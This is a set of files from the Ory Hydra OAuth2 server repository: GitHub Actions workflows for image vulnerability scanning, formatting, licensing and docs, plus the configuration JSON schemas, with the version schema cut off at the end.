name: Docker Image Scanners on: push: branches: - "master" tags: - "v*.*.*" pull_request: branches: - "master" jobs: scanners: runs-on: ubuntu-latest steps: - name: Checkout uses: actions/checkout@v3 - name: Setup Env id: vars shell: bash run: | echo "SHA_SHORT=$(git rev-parse --short HEAD)" >> "${GITHUB_ENV}" - name: Set up QEMU uses: docker/setup-qemu-action@v2 - name: Set up Docker Buildx uses: docker/setup-buildx-action@v2 - name: Build images shell: bash run: | IMAGE_TAG="${{ env.SHA_SHORT }}" make docker - name: Anchore Scanner uses: anchore/scan-action@v3 id: grype-scan with: image: oryd/hydra:${{ env.SHA_SHORT }}-sqlite fail-build: true severity-cutoff: high add-cpes-if-none: true - name: Inspect action SARIF report shell: bash if: ${{ always() }} run: | echo "::group::Anchore Scan Details" jq '.runs[0].results' ${{ steps.grype-scan.outputs.sarif }} echo "::endgroup::" - name: Anchore upload scan SARIF report if: always() uses: github/codeql-action/upload-sarif@v2 with: sarif_file: ${{ steps.grype-scan.outputs.sarif }} - name: Trivy Scanner uses: aquasecurity/trivy-action@master if: ${{ always() }} with: image-ref: oryd/hydra:${{ env.SHA_SHORT }}-sqlite format: "table" exit-code: "42" ignore-unfixed: true vuln-type: "os,library" severity: "CRITICAL,HIGH" scanners: "vuln,secret,config" - name: Dockle Linter uses: erzz/[email protected] if: ${{ always() }} with: image: oryd/hydra:${{ env.SHA_SHORT }}-sqlite exit-code: 42 failure-threshold: high - name: Hadolint uses: hadolint/[email protected] id: hadolint if: ${{ always() }} with: dockerfile: .docker/Dockerfile-build verbose: true format: "json" failure-threshold: "error" - name: View Hadolint results if: ${{ always() }} shell: bash run: | echo "::group::Hadolint Scan Details" echo "${HADOLINT_RESULTS}" | jq '.' echo "::endgroup::"
YAML
hydra/.github/workflows/format.yml
name: Format on: pull_request: push: jobs: format: runs-on: ubuntu-latest steps: - uses: actions/checkout@v3 - uses: actions/setup-go@v3 with: go-version: "1.20" - run: make format - name: Indicate formatting issues run: git diff HEAD --exit-code --color
YAML
hydra/.github/workflows/labels.yml
# AUTO-GENERATED, DO NOT EDIT! # Please edit the original at https://github.com/ory/meta/blob/master/templates/repository/common/.github/workflows/labels.yml name: Synchronize Issue Labels on: workflow_dispatch: push: branches: - master jobs: milestone: if: github.repository_owner == 'ory' name: Synchronize Issue Labels runs-on: ubuntu-latest steps: - name: Checkout uses: actions/checkout@v2 - name: Synchronize Issue Labels uses: ory/label-sync-action@v0 with: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} dry: false forced: true
YAML
hydra/.github/workflows/licenses.yml
name: Licenses on: pull_request: push: branches: - main - master jobs: check: runs-on: ubuntu-latest steps: - uses: actions/checkout@v3 - uses: actions/setup-go@v3 with: go-version: "1.20" - uses: actions/setup-node@v2 with: node-version: "18" - run: make licenses
YAML
hydra/.github/workflows/milestone.yml
# AUTO-GENERATED, DO NOT EDIT! # Please edit the original at https://github.com/ory/meta/blob/master/templates/repository/server/.github/workflows/milestone.yml name: Generate and Publish Milestone Document on: workflow_dispatch: schedule: - cron: "0 0 * * *" jobs: milestone: if: github.repository_owner == 'ory' name: Generate and Publish Milestone Document runs-on: ubuntu-latest steps: - name: Checkout uses: actions/checkout@v2 with: token: ${{ secrets.TOKEN_PRIVILEGED }} - name: Milestone Documentation Generator uses: ory/milestone-action@v0 with: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} outputFile: docs/docs/milestones.md - name: Commit Milestone Documentation uses: EndBug/[email protected] with: message: "autogen(docs): update milestone document" author_name: aeneasr author_email: "[email protected]" env: GITHUB_TOKEN: ${{ secrets.TOKEN_PRIVILEGED }}
JSON
hydra/.schema/config.schema.json
{ "$id": "https://github.com/ory/hydra/spec/config.json", "$schema": "http://json-schema.org/draft-07/schema#", "title": "Ory Hydra Configuration", "type": "object", "definitions": { "http_method": { "type": "string", "enum": [ "POST", "GET", "PUT", "PATCH", "DELETE", "CONNECT", "HEAD", "OPTIONS", "TRACE" ] }, "portNumber": { "description": "The port to listen on.", "minimum": 1, "maximum": 65535 }, "socket": { "type": "object", "additionalProperties": false, "description": "Sets the permissions of the unix socket", "properties": { "owner": { "type": "string", "description": "Owner of unix socket. If empty, the owner will be the user running hydra.", "default": "" }, "group": { "type": "string", "description": "Group of unix socket. If empty, the group will be the primary group of the user running hydra.", "default": "" }, "mode": { "type": "integer", "description": "Mode of unix socket in numeric form", "default": 493, "minimum": 0, "maximum": 511 } } }, "cors": { "type": "object", "additionalProperties": false, "description": "Configures Cross Origin Resource Sharing for public endpoints.", "properties": { "enabled": { "type": "boolean", "description": "Sets whether CORS is enabled.", "default": false }, "allowed_origins": { "type": "array", "description": "A list of origins a cross-domain request can be executed from. If the special * value is present in the list, all origins will be allowed. An origin may contain a wildcard (*) to replace 0 or more characters (i.e.: http://*.domain.com). Only one wildcard can be used per origin.", "items": { "type": "string", "minLength": 1, "not": { "type": "string", "description": "does match all strings that contain two or more (*)", "pattern": ".*\\*.*\\*.*" }, "anyOf": [ { "format": "uri" }, { "const": "*" } ] }, "uniqueItems": true, "default": [], "examples": [ [ "*", "https://example.com", "https://*.example.com", "https://*.foo.example.com" ] ] }, "allowed_methods": { "type": "array", "description": "A list of HTTP methods the user agent is allowed to use with cross-domain requests.", "default": [ "POST", "GET", "PUT", "PATCH", "DELETE", "CONNECT", "HEAD", "OPTIONS", "TRACE" ], "items": { "type": "string", "enum": [ "POST", "GET", "PUT", "PATCH", "DELETE", "CONNECT", "HEAD", "OPTIONS", "TRACE" ] } }, "allowed_headers": { "type": "array", "description": "A list of non simple headers the client is allowed to use with cross-domain requests.", "default": [ "Accept", "Content-Type", "Content-Length", "Accept-Language", "Content-Language", "Authorization" ], "items": { "type": "string" } }, "exposed_headers": { "type": "array", "description": "Sets which headers are safe to expose to the API of a CORS API specification.", "default": [ "Cache-Control", "Expires", "Last-Modified", "Pragma", "Content-Length", "Content-Language", "Content-Type" ], "items": { "type": "string" } }, "allow_credentials": { "type": "boolean", "description": "Sets whether the request can include user credentials like cookies, HTTP authentication or client side SSL certificates.", "default": true }, "max_age": { "type": "integer", "description": "Sets how long (in seconds) the results of a preflight request can be cached. If set to 0, every request is preceded by a preflight request.", "default": 0, "minimum": 0 }, "debug": { "type": "boolean", "description": "Adds additional log output to debug server side CORS issues.", "default": false } } }, "cidr": { "description": "CIDR address range.", "type": "string", "oneOf": [ { "pattern": "^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))/([0-9]|[1-9][0-9]|1[0-1][0-9]|12[0-8])$" }, { "pattern": "^([0-9]{1,3}\\.){3}[0-9]{1,3}/([0-9]|[1-2][0-9]|3[0-2])$" } ], "examples": ["127.0.0.1/32"] }, "pem_file": { "type": "object", "oneOf": [ { "properties": { "path": { "type": "string", "description": "The path to the pem file.", "examples": ["/path/to/file.pem"] } }, "additionalProperties": false, "required": ["path"] }, { "properties": { "base64": { "type": "string", "description": "The base64 encoded string (without padding).", "contentEncoding": "base64", "contentMediaType": "application/x-pem-file", "examples": ["b3J5IGh5ZHJhIGlzIGF3ZXNvbWUK"] } }, "additionalProperties": false, "required": ["base64"] } ] }, "duration": { "type": "string", "pattern": "^(\\d+(ns|us|ms|s|m|h))+$", "examples": [ "1h", "1h5m1s" ] }, "tls_config": { "type": "object", "description": "Configures HTTPS (HTTP over TLS). If configured, the server automatically supports HTTP/2.", "properties": { "enabled": { "type": "boolean", "description": "Setting enabled to false drops the TLS requirement for the admin endpoint, even if TLS is enabled on the public endpoint." }, "key": { "description": "Configures the private key (pem encoded).", "allOf": [ { "$ref": "#/definitions/pem_file" } ] }, "cert": { "description": "Configures the public certificate (pem encoded).", "allOf": [ { "$ref": "#/definitions/pem_file" } ] }, "allow_termination_from": { "type": "array", "description": "Whitelist one or multiple CIDR address ranges and allow them to terminate TLS connections. Be aware that the X-Forwarded-Proto header must be set and must never be modifiable by anyone but your proxy / gateway / load balancer. Supports ipv4 and ipv6. Hydra serves http instead of https when this option is set.", "items": { "$ref": "#/definitions/cidr" } } } } }, "properties": { "db": { "type": "object", "additionalProperties": false, "description": "Configures the database connection", "properties": { "ignore_unknown_table_columns": { "type": "boolean", "description": "Ignore scan errors when columns in the SQL result have no fields in the destination struct", "default": false } } }, "log": { "type": "object", "additionalProperties": false, "description": "Configures the logger", "properties": { "level": { "type": "string", "description": "Sets the log level.", "enum": ["panic", "fatal", "error", "warn", "info", "debug", "trace"], "default": "info" }, "leak_sensitive_values": { "type": "boolean", "description": "Logs sensitive values such as cookie and URL parameter.", "default": false }, "redaction_text": { "type": "string", "title": "Sensitive log value redaction text", "description": "Text to use, when redacting sensitive log value." }, "format": { "type": "string", "description": "Sets the log format.", "enum": ["json", "json_pretty", "text"], "default": "text" } } }, "serve": { "type": "object", "additionalProperties": false, "description": "Controls the configuration for the http(s) daemon(s).", "properties": { "public": { "type": "object", "additionalProperties": false, "description": "Controls the public daemon serving public API endpoints like /oauth2/auth, /oauth2/token, /.well-known/jwks.json", "properties": { "port": { "default": 4444, "type": "integer", "allOf": [ { "$ref": "#/definitions/portNumber" } ] }, "host": { "type": "string", "description": "The interface or unix socket Ory Hydra should listen and handle public API requests on. Use the prefix `unix:` to specify a path to a unix socket. Leave empty to listen on all interfaces.", "default": "", "examples": ["localhost"] }, "cors": { "$ref": "#/definitions/cors" }, "socket": { "$ref": "#/definitions/socket" }, "request_log": { "type": "object", "additionalProperties": false, "description": "Access Log configuration for public server.", "properties": { "disable_for_health": { "type": "boolean", "description": "Disable access log for health endpoints.", "default": false } } }, "tls": { "$ref": "#/definitions/tls_config" } } }, "admin": { "type": "object", "additionalProperties": false, "properties": { "port": { "default": 4445, "type": "integer", "allOf": [ { "$ref": "#/definitions/portNumber" } ] }, "host": { "type": "string", "description": "The interface or unix socket Ory Hydra should listen and handle administrative API requests on. Use the prefix `unix:` to specify a path to a unix socket. Leave empty to listen on all interfaces.", "default": "", "examples": ["localhost"] }, "cors": { "$ref": "#/definitions/cors" }, "socket": { "$ref": "#/definitions/socket" }, "request_log": { "type": "object", "additionalProperties": false, "description": "Access Log configuration for admin server.", "properties": { "disable_for_health": { "type": "boolean", "description": "Disable access log for health endpoints.", "default": false } } }, "tls": { "allOf": [ { "$ref": "#/definitions/tls_config" } ] } } }, "tls": { "$ref": "#/definitions/tls_config" }, "cookies": { "type": "object", "additionalProperties": false, "properties": { "same_site_mode": { "type": "string", "description": "Specify the SameSite mode that cookies should be sent with.", "enum": ["Strict", "Lax", "None"], "default": "None" }, "same_site_legacy_workaround": { "type": "boolean", "description": "Some older browser versions don’t work with SameSite=None. This option enables the workaround defined in https://web.dev/samesite-cookie-recipes/ which essentially stores a second cookie without SameSite as a fallback.", "default": false, "examples": [ true ] }, "domain": { "title": "HTTP Cookie Domain", "description": "Sets the cookie domain for session and CSRF cookies. Useful when dealing with subdomains. Use with care!", "type": "string" }, "secure": { "title": "HTTP Cookie Secure Flag in Development Mode", "description": "Sets the HTTP Cookie secure flag in development mode. HTTP Cookies always have the secure flag in production mode.", "type": "boolean", "default": false }, "names": { "title": "Cookie Names", "description": "Sets the session cookie name. Use with care!", "type": "object", "properties": { "login_csrf": { "type": "string", "title": "CSRF Cookie Name", "default": "ory_hydra_login_csrf" }, "consent_csrf": { "type": "string", "title": "CSRF Cookie Name", "default": "ory_hydra_consent_csrf" }, "session": { "type": "string", "title": "Session Cookie Name", "default": "ory_hydra_session" } } }, "paths": { "title": "Cookie Paths", "description": "Sets the path for which session cookie is scoped. Use with care!", "type": "object", "properties": { "session": { "type": "string", "title": "Session Cookie Path", "default": "/" } } } } } } }, "dsn": { "type": "string", "description": "Sets the data source name. This configures the backend where Ory Hydra persists data. If dsn is `memory`, data will be written to memory and is lost when you restart this instance. Ory Hydra supports popular SQL databases. For more detailed configuration information go to: https://www.ory.sh/docs/hydra/dependencies-environment#sql" }, "clients": { "title": "Global outgoing network settings", "description": "Configure how outgoing network calls behave.", "type": "object", "additionalProperties": false, "properties": { "http": { "title": "Global HTTP client configuration", "description": "Configure how outgoing HTTP calls behave.", "type": "object", "additionalProperties": false, "properties": { "disallow_private_ip_ranges": { "title": "Disallow private IP ranges", "description": "Disallow all outgoing HTTP calls to private IP ranges. This feature can help protect against SSRF attacks.", "type": "boolean", "default": false }, "private_ip_exception_urls": { "title": "Add exempt URLs to private IP ranges", "description": "Allows the given URLs to be called despite them being in the private IP range. URLs need to have an exact and case-sensitive match to be excempt.", "type": "array", "items": { "type": "string", "format": "uri-reference" }, "default": [] } } } } }, "hsm": { "type": "object", "additionalProperties": false, "description": "Configures Hardware Security Module.", "properties": { "enabled": { "type": "boolean" }, "library": { "type": "string", "description": "Full path (including file extension) of the HSM vendor PKCS#11 library" }, "pin": { "type": "string", "description": "PIN code for token operations" }, "slot": { "type": "integer", "description": "Slot ID of the token to use (if label is not specified)" }, "token_label": { "type": "string", "description": "Label of the token to use (if slot is not specified). If both slot and label are set, token label takes preference over slot. In this case first slot, that contains this label is used." }, "key_set_prefix": { "type": "string", "description": "Key set prefix can be used in case of multiple Ory Hydra instances need to store keys on the same HSM partition. For example if `hsm.key_set_prefix=app1.` then key set `hydra.openid.id-token` would be generated/requested/deleted on HSM with `CKA_LABEL=app1.hydra.openid.id-token`.", "default": "" } } }, "webfinger": { "type": "object", "additionalProperties": false, "description": "Configures ./well-known/ settings.", "properties": { "jwks": { "type": "object", "additionalProperties": false, "description": "Configures the /.well-known/jwks.json endpoint.", "properties": { "broadcast_keys": { "type": "array", "description": "A list of JSON Web Keys that should be exposed at that endpoint. This is usually the public key for verifying OpenID Connect ID Tokens. However, you might want to add additional keys here as well.", "items": { "type": "string" }, "default": ["hydra.openid.id-token"], "examples": ["hydra.jwt.access-token"] } } }, "oidc_discovery": { "type": "object", "additionalProperties": false, "description": "Configures OpenID Connect Discovery (/.well-known/openid-configuration).", "properties": { "jwks_url": { "type": "string", "description": "Overwrites the JWKS URL", "format": "uri-reference", "examples": [ "https://my-service.com/.well-known/jwks.json" ] }, "token_url": { "type": "string", "description": "Overwrites the OAuth2 Token URL", "format": "uri-reference", "examples": [ "https://my-service.com/oauth2/token" ] }, "auth_url": { "type": "string", "description": "Overwrites the OAuth2 Auth URL", "format": "uri-reference", "examples": [ "https://my-service.com/oauth2/auth" ] }, "client_registration_url": { "description": "Sets the OpenID Connect Dynamic Client Registration Endpoint", "type": "string", "format": "uri-reference", "examples": [ "https://my-service.com/clients" ] }, "supported_claims": { "type": "array", "description": "A list of supported claims to be broadcasted. Claim `sub` is always included.", "items": { "type": "string" }, "examples": [["email", "username"]] }, "supported_scope": { "type": "array", "description": "The scope OAuth 2.0 Clients may request. Scope `offline`, `offline_access`, and `openid` are always included.", "items": { "type": "string" }, "examples": [["email", "whatever", "read.photos"]] }, "userinfo_url": { "type": "string", "description": "A URL of the userinfo endpoint to be advertised at the OpenID Connect Discovery endpoint /.well-known/openid-configuration. Defaults to Ory Hydra's userinfo endpoint at /userinfo. Set this value if you want to handle this endpoint yourself.", "format": "uri-reference", "examples": [ "https://example.org/my-custom-userinfo-endpoint" ] } } } } }, "oidc": { "type": "object", "additionalProperties": false, "description": "Configures OpenID Connect features.", "properties": { "subject_identifiers": { "type": "object", "additionalProperties": false, "description": "Configures the Subject Identifier algorithm. For more information please head over to the documentation: https://www.ory.sh/docs/hydra/advanced#subject-identifier-algorithms", "properties": { "supported_types": { "type": "array", "description": "A list of algorithms to enable.", "default": ["public"], "items": { "type": "string", "enum": ["public", "pairwise"] } }, "pairwise": { "type": "object", "additionalProperties": false, "description": "Configures the pairwise algorithm.", "properties": { "salt": { "type": "string" } }, "required": ["salt"] } }, "anyOf": [ { "if": { "properties": { "supported_types": { "contains": { "const": "pairwise" } } } }, "then": { "required": [ "pairwise" ] } }, { "not": { "required": ["supported_types"] } } ], "examples": [ { "supported_types": ["public", "pairwise"], "pairwise": { "salt": "some-random-salt" } } ] }, "dynamic_client_registration": { "type": "object", "additionalProperties": false, "description": "Configures OpenID Connect Dynamic Client Registration (exposed as admin endpoints /clients/...).", "properties": { "enabled": { "type": "boolean", "description": "Enable dynamic client registration.", "default": false }, "default_scope": { "type": "array", "description": "The OpenID Connect Dynamic Client Registration specification has no concept of whitelisting OAuth 2.0 Scope. If you want to expose Dynamic Client Registration, you should set the default scope enabled for newly registered clients. Keep in mind that users can overwrite this default by setting the `scope` key in the registration payload, effectively disabling the concept of whitelisted scopes.", "items": { "type": "string" }, "examples": [["openid", "offline", "offline_access"]] } } } } }, "urls": { "type": "object", "additionalProperties": false, "properties": { "self": { "type": "object", "additionalProperties": false, "properties": { "issuer": { "type": "string", "description": "This value will be used as the `issuer` in access and ID tokens. It must be specified and using HTTPS protocol, unless --dev is set. This should typically be equal to the public value.", "format": "uri", "examples": ["https://localhost:4444/"] }, "public": { "type": "string", "description": "This is the base location of the public endpoints of your Ory Hydra installation. This should typically be equal to the issuer value. If left unspecified, it falls back to the issuer value.", "format": "uri", "examples": [ "https://localhost:4444/" ] }, "admin": { "type": "string", "description": "This is the base location of the admin endpoints of your Ory Hydra installation.", "format": "uri", "examples": [ "https://localhost:4445/" ] } } }, "login": { "type": "string", "description": "Sets the OAuth2 Login Endpoint URL of the OAuth2 User Login & Consent flow. Defaults to an internal fallback URL showing an error.", "format": "uri-reference", "examples": [ "https://my-login.app/login", "/ui/login" ] }, "consent": { "type": "string", "description": "Sets the consent endpoint of the User Login & Consent flow. Defaults to an internal fallback URL showing an error.", "format": "uri-reference", "examples": [ "https://my-consent.app/consent", "/ui/consent" ] }, "logout": { "type": "string", "description": "Sets the logout endpoint. Defaults to an internal fallback URL showing an error.", "format": "uri-reference", "examples": [ "https://my-logout.app/logout", "/ui/logout" ] }, "error": { "type": "string", "description": "Sets the error endpoint. The error ui will be shown when an OAuth2 error occurs that which can not be sent back to the client. Defaults to an internal fallback URL showing an error.", "format": "uri-reference", "examples": [ "https://my-error.app/error", "/ui/error" ] }, "post_logout_redirect": { "type": "string", "description": "When a user agent requests to logout, it will be redirected to this url afterwards per default.", "format": "uri-reference", "examples": [ "https://my-example.app/logout-successful", "/ui" ] }, "identity_provider": { "type": "object", "additionalProperties": false, "properties": { "url": { "title": "The admin URL of the ORY Kratos instance.", "description": "If set, ORY Hydra will use this URL to log out the user in addition to removing the Hydra session.", "type": "string", "format": "uri", "examples": [ "https://kratos.example.com/admin" ] }, "headers": { "title": "HTTP Request Headers", "description": "These headers will be passed in HTTP requests to the Identity Provider.", "type": "object", "additionalProperties": { "type": "string" }, "examples": [ { "Authorization": "Bearer some-token" } ] } } } } }, "strategies": { "type": "object", "additionalProperties": false, "properties": { "scope": { "type": "string", "description": "Defines how scopes are matched. For more details have a look at https://github.com/ory/fosite#scopes", "enum": [ "exact", "wildcard" ], "default": "wildcard" }, "access_token": { "type": "string", "description": "Defines access token type. jwt is a bad idea, see https://www.ory.sh/docs/hydra/advanced#json-web-tokens", "enum": ["opaque", "jwt"], "default": "opaque" }, "jwt": { "type": "object", "additionalProperties": false, "properties": { "scope_claim": { "type": "string", "description": "Defines how the scope claim is represented within a JWT access token", "enum": ["list", "string", "both"], "default": "list" } } } } }, "ttl": { "type": "object", "additionalProperties": false, "description": "Configures time to live.", "properties": { "login_consent_request": { "description": "Configures how long a user login and consent flow may take.", "default": "30m", "allOf": [ { "$ref": "#/definitions/duration" } ] }, "access_token": { "description": "Configures how long access tokens are valid.", "default": "1h", "allOf": [ { "$ref": "#/definitions/duration" } ] }, "refresh_token": { "description": "Configures how long refresh tokens are valid. Set to -1 for refresh tokens to never expire.", "default": "720h", "oneOf": [ { "$ref": "#/definitions/duration" }, { "enum": [ "-1", -1 ] } ] }, "id_token": { "description": "Configures how long id tokens are valid.", "default": "1h", "allOf": [ { "$ref": "#/definitions/duration" } ] }, "auth_code": { "description": "Configures how long auth codes are valid.", "default": "10m", "allOf": [ { "$ref": "#/definitions/duration" } ] } } }, "oauth2": { "type": "object", "additionalProperties": false, "properties": { "expose_internal_errors": { "type": "boolean", "description": "Set this to true if you want to share error debugging information with your OAuth 2.0 clients. Keep in mind that debug information is very valuable when dealing with errors, but might also expose database error codes and similar errors.", "default": false, "examples": [true] }, "session": { "type": "object", "properties": { "encrypt_at_rest": { "type": "boolean", "default": true, "title": "Encrypt OAuth2 Session", "description": "If set to true (default) Ory Hydra encrypt OAuth2 and OpenID Connect session data using AES-GCM and the system secret before persisting it in the database." } } }, "exclude_not_before_claim": { "type": "boolean", "description": "Set to true if you want to exclude claim `nbf (not before)` part of access token.", "default": false, "examples": [true] }, "allowed_top_level_claims": { "type": "array", "description": "A list of custom claims which are allowed to be added top level to the Access Token. They cannot override reserved claims.", "items": { "type": "string" }, "examples": [["username", "email", "user_uuid"]] }, "mirror_top_level_claims": { "type": "boolean", "description": "Set to false if you don't want to mirror custom claims under 'ext'", "default": true, "examples": [false] }, "hashers": { "type": "object", "additionalProperties": false, "description": "Configures hashing algorithms. Supports only BCrypt and PBKDF2 at the moment.", "properties": { "algorithm": { "title": "Password hashing algorithm", "description": "One of the values: pbkdf2, bcrypt.\n\nWarning! This value can not be changed once set as all existing OAuth 2.0 Clients will not be able to sign in any more.", "type": "string", "default": "pbkdf2", "enum": [ "pbkdf2", "bcrypt" ] }, "bcrypt": { "type": "object", "additionalProperties": false, "description": "Configures the BCrypt hashing algorithm used for hashing OAuth 2.0 Client Secrets.", "properties": { "cost": { "type": "integer", "description": "Sets the BCrypt cost. The higher the value, the more CPU time is being used to generate hashes.", "default": 10, "minimum": 4, "maximum": 31 } } }, "pbkdf2": { "type": "object", "additionalProperties": false, "description": "Configures the PBKDF2 hashing algorithm used for hashing OAuth 2.0 Client Secrets.", "properties": { "iterations": { "type": "integer", "description": "Sets the PBKDF2 iterations. The higher the value, the more CPU time is being used to generate hashes.", "default": 25000, "minimum": 1 } } } } }, "pkce": { "type": "object", "additionalProperties": false, "properties": { "enforced": { "type": "boolean", "description": "Sets whether PKCE should be enforced for all clients.", "examples": [true] }, "enforced_for_public_clients": { "type": "boolean", "description": "Sets whether PKCE should be enforced for public clients.", "examples": [true] } } }, "client_credentials": { "type": "object", "additionalProperties": false, "properties": { "default_grant_allowed_scope": { "type": "boolean", "description": "Automatically grant authorized OAuth2 Scope in OAuth2 Client Credentials Flow. Each OAuth2 Client is allowed to request a predefined OAuth2 Scope (for example `read write`). If this option is enabled, the full\nscope is automatically granted when performing the OAuth2 Client Credentials flow.\n\nIf disabled, the OAuth2 Client has to request the scope in the OAuth2 request by providing the `scope` query parameter. Setting this option to true is common if you need compatibility with MITREid.", "examples": [ false ] } } }, "grant": { "type": "object", "additionalProperties": false, "properties": { "jwt": { "type": "object", "additionalProperties": false, "description": "Authorization Grants using JWT configuration", "properties": { "jti_optional": { "type": "boolean", "description": "Configures if the JSON Web Token ID (`jti`) claim is required in the JSON Web Token (JWT) Profile for OAuth 2.0 Client Authentication and Authorization Grants (RFC7523). If set to `false`, the `jti` claim is required. Set this value to `true` only after careful consideration.", "default": false }, "iat_optional": { "type": "boolean", "description": "Configures if the issued at (`iat`) claim is required in the JSON Web Token (JWT) Profile for OAuth 2.0 Client Authentication and Authorization Grants (RFC7523). If set to `false`, the `iat` claim is required. Set this value to `true` only after careful consideration.", "default": false }, "max_ttl": { "description": "Configures what the maximum age of a JWT assertion used in the JSON Web Token (JWT) Profile for OAuth 2.0 Client Authentication and Authorization Grants (RFC7523) can be. This feature uses the `exp` claim and `iat` claim to calculate assertion age. Assertions exceeding the max age will be denied. Useful as a safety measure and recommended to keep below 720h. This governs the `grant.jwt.max_ttl` setting.", "default": "720h", "allOf": [ { "$ref": "#/definitions/duration" } ] } } } } }, "refresh_token_hook": { "type": "string", "description": "Sets the refresh token hook endpoint. If set it will be called during token refresh to receive updated token claims.", "format": "uri", "examples": ["https://my-example.app/token-refresh-hook"] }, "token_hook": { "type": "string", "description": "Sets the token hook endpoint for all grant types. If set it will be called while providing token to customize claims.", "format": "uri", "examples": ["https://my-example.app/token-hook"] } } }, "secrets": { "type": "object", "additionalProperties": false, "description": "The secrets section configures secrets used for encryption and signing of several systems. All secrets can be rotated, for more information on this topic go to: https://www.ory.sh/docs/hydra/advanced#rotation-of-hmac-token-signing-and-database-and-cookie-encryption-keys", "properties": { "system": { "description": "The system secret must be at least 16 characters long. If none is provided, one will be generated. They key is used to encrypt sensitive data using AES-GCM (256 bit) and validate HMAC signatures. The first item in the list is used for signing and encryption. The whole list is used for verifying signatures and decryption.", "type": "array", "items": { "type": "string", "minLength": 16 }, "examples": [ [ "this-is-the-primary-secret", "this-is-an-old-secret", "this-is-another-old-secret" ] ] }, "cookie": { "type": "array", "description": "A secret that is used to encrypt cookie sessions. Defaults to secrets.system. It is recommended to use a separate secret in production. The first item in the list is used for signing and encryption. The whole list is used for verifying signatures and decryption.", "items": { "type": "string", "minLength": 16 }, "examples": [ [ "this-is-the-primary-secret", "this-is-an-old-secret", "this-is-another-old-secret" ] ] } } }, "profiling": { "type": "string", "description": "Enables profiling if set. For more details on profiling, head over to: https://blog.golang.org/profiling-go-programs", "enum": ["cpu", "mem"], "examples": ["cpu"] }, "tracing": { "$ref": "https://raw.githubusercontent.com/ory/x/v0.0.582-0.20230816082414-f1e6acad79b5/otelx/config.schema.json" }, "sqa": { "type": "object", "additionalProperties": true, "description": "Software Quality Assurance telemetry configuration section", "properties": { "opt_out": { "type": "boolean", "description": "Disables anonymized telemetry reports - for more information please visit https://www.ory.sh/docs/ecosystem/sqa", "default": false, "examples": [true] } }, "examples": [ { "opt_out": true } ] }, "version": { "type": "string", "title": "The Hydra version this config is written for.", "description": "SemVer according to https://semver.org/ prefixed with `v` as in our releases.", "pattern": "^v(0|[1-9]\\d*)\\.(0|[1-9]\\d*)\\.(0|[1-9]\\d*)(?:-((?:0|[1-9]\\d*|\\d*[a-zA-Z-][0-9a-zA-Z-]*)(?:\\.(?:0|[1-9]\\d*|\\d*[a-zA-Z-][0-9a-zA-Z-]*))*))?(?:\\+([0-9a-zA-Z-]+(?:\\.[0-9a-zA-Z-]+)*))?$" }, "cgroups": { "type": "object", "additionalProperties": false, "description": "Ory Hydra can respect Linux container CPU quota", "properties": { "v1": { "type": "object", "additionalProperties": false, "description": "Configures parameters using cgroups v1 hierarchy", "properties": { "auto_max_procs_enabled": { "type": "boolean", "description": "Set GOMAXPROCS automatically according to cgroups limits", "default": false, "examples": [true] } } } } }, "dev": { "type": "boolean", "title": "Enable development mode", "description": "If true, disables critical security measures to allow easier local development. Do not use in production.", "default": false } }, "additionalProperties": false }
JSON
hydra/.schema/version.schema.json
{ "$id": "https://github.com/ory/hydra/.schema/versions.config.schema.json", "$schema": "http://json-schema.org/draft-07/schema#", "oneOf": [ { "allOf": [ { "properties": { "version": { "const": "v2.2.0-rc.3" } }, "required": [ "version" ] }, { "$ref": "https://raw.githubusercontent.com/ory/hydra/v2.2.0-rc.3/.schema/config.schema.json" } ] }, { "allOf": [ { "properties": { "version": { "const": "v2.2.0-rc.2" } }, "required": [ "version" ] }, { "$ref": "https://raw.githubusercontent.com/ory/hydra/v2.2.0-rc.2/.schema/config.schema.json" } ] }, { "allOf": [ { "properties": { "version": { "const": "v2.1.2" } }, "required": [ "version" ] }, { "$ref": "https://raw.githubusercontent.com/ory/hydra/v2.1.2/.schema/config.schema.json" } ] }, { "allOf": [ { "properties": { "version": { "const": "v2.1.1" } }, "required": [ "version" ] }, { "$ref": "https://raw.githubusercontent.com/ory/hydra/v2.1.1/.schema/config.schema.json" } ] }, { "allOf": [ { "properties": { "version": { "const": "v2.1.0" } }, "required": [ "version" ] }, { "$ref": "https://raw.githubusercontent.com/ory/hydra/v2.1.0/.schema/config.schema.json" } ] }, { "allOf": [ { "properties": { "version": { "const": "v2.0.3" } }, "required": [ "version" ] }, { "$ref": "https://raw.githubusercontent.com/ory/hydra/v2.0.3/spec/config.json" } ] }, { "allOf": [ { "properties": { "version": { "const": "v2.0.2" } }, "required": [ "version" ] }, { "$ref": "https://raw.githubusercontent.com/ory/hydra/v2.0.2/spec/config.json" } ] }, { "allOf": [ { "properties": { "version": { "const": "v2.0.1" } }, "required": [ "version" ] }, { "$ref": "https://raw.githubusercontent.com/ory/hydra/v2.0.1/spec/config.json" } ] }, { "allOf": [ { "properties": { "version": { "const": "v1.11.7" } }, "required": [ "version" ] }, { "$ref": "https://raw.githubusercontent.com/ory/hydra/v1.11.7/spec/config.json" } ] }, { "allOf": [ { "properties": { "version": { "const": "v1.7.0" } }, "required": [ "version" ] }, { "$ref": "https://raw.githubusercontent.com/ory/hydra/v1.7.0/.schema/config.schema.json" } ] }, { "allOf": [ { "properties": { "version": { "const": 